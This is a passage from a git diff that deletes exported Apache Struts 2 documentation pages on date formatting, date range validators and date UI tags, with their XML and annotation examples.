-<p>Field Validator that checks if the date supplied is within a specific range.</p>
-
-<p><b>NOTE:</b> If no date converter is specified, XWorkBasicConverter will kick
-in to do the date conversion, which by default using the <code>Date.SHORT</code> format using
-the a problematically specified locale else falling back to the system
-default locale.</p>
-
-
-
-<h1 id="datevalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>min - the min date range. If not specified will not be checked.</li><li>max - the max date range. If not specified will not be checked.</li><li>parse - if set to true, minExpression and maxExpression will be evaluated to find min/max</li><li>minExpression - expression to calculate the minimum value (if none is specified, it will not be checked) < [...]
-
-<p>You can either use the min / max value or minExpression / maxExpression (when parse is set to true) -
-using expression can be slightly slower, see the example below.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use ${minExpression} and ${maxExpression} as an expression as this will turn into infinitive loop!</p></div></div>
-
-<h1 id="datevalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;validators&gt;
-    &lt;!-- Plain Validator syntax --&gt;
-    &lt;validator type=&quot;date&quot;&gt;
-        &lt;param name=&quot;fieldName&quot;&gt;birthday&lt;/param&gt;
-        &lt;param name=&quot;min&quot;&gt;01/01/1990&lt;/param&gt;
-        &lt;param name=&quot;max&quot;&gt;01/01/2000&lt;/param&gt;
-        &lt;message&gt;Birthday must be within ${min} and ${max}&lt;/message&gt;
-    &lt;/validator&gt;
-
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;birthday&quot;&gt;
-        &lt;field-validator type=&quot;date&quot;&gt;
-     	   &lt;param name=&quot;min&quot;&gt;01/01/1990&lt;/param&gt;
-            &lt;param name=&quot;max&quot;&gt;01/01/2000&lt;/param&gt;
-            &lt;message&gt;Birthday must be within ${min} and ${max}&lt;/message&gt;
-    	   &lt;/field&gt;
-    &lt;/field&gt;
-
-    &lt;!-- Field Validator Syntax with expression --&gt;
-    &lt;field name=&quot;birthday&quot;&gt;
-        &lt;field-validator type=&quot;date&quot;&gt;
-            &lt;param name=&quot;minExpression&quot;&gt;${minValue}&lt;/param&gt; &lt;!-- will be evaluated as: Date getMinValue() --&gt;
-            &lt;param name=&quot;maxExpression&quot;&gt;${maxValue}&lt;/param&gt; &lt;!-- will be evaluated as: Date getMaxValue() --&gt;
-            &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/date.html b/content/docs/date.html
deleted file mode 100644
index 4b54864..0000000
--- a/content/docs/date.html
+++ /dev/null
@@ -1,214 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>date</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="date.html">date</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">date</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13821">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13821">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13821">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13821">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13821">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13821">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="date-Description">Description</h2>
-
-
-<p>Format Date object in different ways.
-</p><p>
-The date tag will allow you to format a Date in a quick and easy way.
-You can specify a <b>custom format</b> (eg. "dd/MM/yyyy hh:mm"), you can generate
-<b>easy readable notations</b> (like "in 2 hours, 14 minutes"), or you can just fall back
-on a <b>predefined format</b> with key 'struts.date.format' in your properties file.
-</p>
-
-<p></p><p>
-If that key is not defined, it will finally fall back to the default DateFormat.MEDIUM
-formatting.
-</p>
-
-<p></p><p>
-<b>Note</b>: If the requested Date object isn't found on the stack, a blank will be returned.
-</p>
-
-<p></p><p>
-Configurable attributes are:
-</p>
-
-<p></p><ul><li>name</li><li>nice</li><li>format</li></ul>
-
-<p></p><p>
-Following how the date component will work, depending on the value of nice attribute
-(which by default is false) and the format attribute.
-</p>
-
-<p></p><p>
-<b><u>Condition 1: With nice attribute as true</u></b>
-</p>
-<table border="1" summary=""><tr><td colspan="1" rowspan="1">i18n key</td><td colspan="1" rowspan="1">default</td></tr><tr><td colspan="1" rowspan="1">struts.date.format.past</td><td colspan="1" rowspan="1">{0} ago</td></tr><tr><td colspan="1" rowspan="1">struts.date.format.future</td><td colspan="1" rowspan="1">in {0}</td></tr><tr><td colspan="1" rowspan="1">struts.date.format.seconds</td><td colspan="1" rowspan="1">an instant</td></tr><tr><td colspan="1" rowspan="1">struts.date.format. [...]
-
-<p></p><p>
-<b><u>Condition 2: With nice attribute as false and format attribute is specified eg. dd/MM/yyyyy </u></b>
-</p>
-
-<p></p><p>In this case the format attribute will be used.</p>
-
-<p></p><p>
-<b><u>Condition 3: With nice attribute as false and no format attribute is specified </u></b>
-</p>
-<table border="1" summary=""><tr><td colspan="1" rowspan="1">i18n key</td><td colspan="1" rowspan="1">default</td></tr><tr><td colspan="1" rowspan="1">struts.date.format</td><td colspan="1" rowspan="1">if one is not found DateFormat.MEDIUM format will be used</td></tr></table>
-
-
-
-<h2 id="date-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="date-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:date name=&quot;person.birthday&quot; format=&quot;dd/MM/yyyy&quot; /&gt;
-&lt;s:date name=&quot;person.birthday&quot; format=&quot;%{getText(&#39;some.i18n.key&#39;)}&quot; /&gt;
-&lt;s:date name=&quot;person.birthday&quot; nice=&quot;true&quot; /&gt;
-&lt;s:date name=&quot;person.birthday&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/daterangefieldvalidator-annotation.html b/content/docs/daterangefieldvalidator-annotation.html
deleted file mode 100644
index 6963860..0000000
--- a/content/docs/daterangefieldvalidator-annotation.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>DateRangeFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="daterangefieldvalidator-annotation.html">DateRangeFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">DateRangeFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13843">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13843">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13843">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13843">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13843">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13843">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a date field has a value within a specified range.</p>
-
-<h2 id="DateRangeFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="DateRangeFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<p></p><p>If neither <em>min</em> nor <em>max</em> is set, nothing will be done.</p>
-
-<h2 id="DateRangeFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@DateRangeFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, min = &quot;2005/01/01&quot;, max = &quot;2005/12/31&quot;)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/datetextfield.html b/content/docs/datetextfield.html
deleted file mode 100644
index a042607..0000000
--- a/content/docs/datetextfield.html
+++ /dev/null
@@ -1,152 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>datetextfield</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="datetextfield.html">datetextfield</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">datetextfield</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40506485">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40506485">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40506485">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40506485">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40506485">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40506485">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div><h2 id="datetextfield-Description">Description</h2><div class="err [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/datetimepicker.html b/content/docs/datetimepicker.html
deleted file mode 100644
index be75201..0000000
--- a/content/docs/datetimepicker.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>datetimepicker</title>
-</head>
-<body onload="init()">
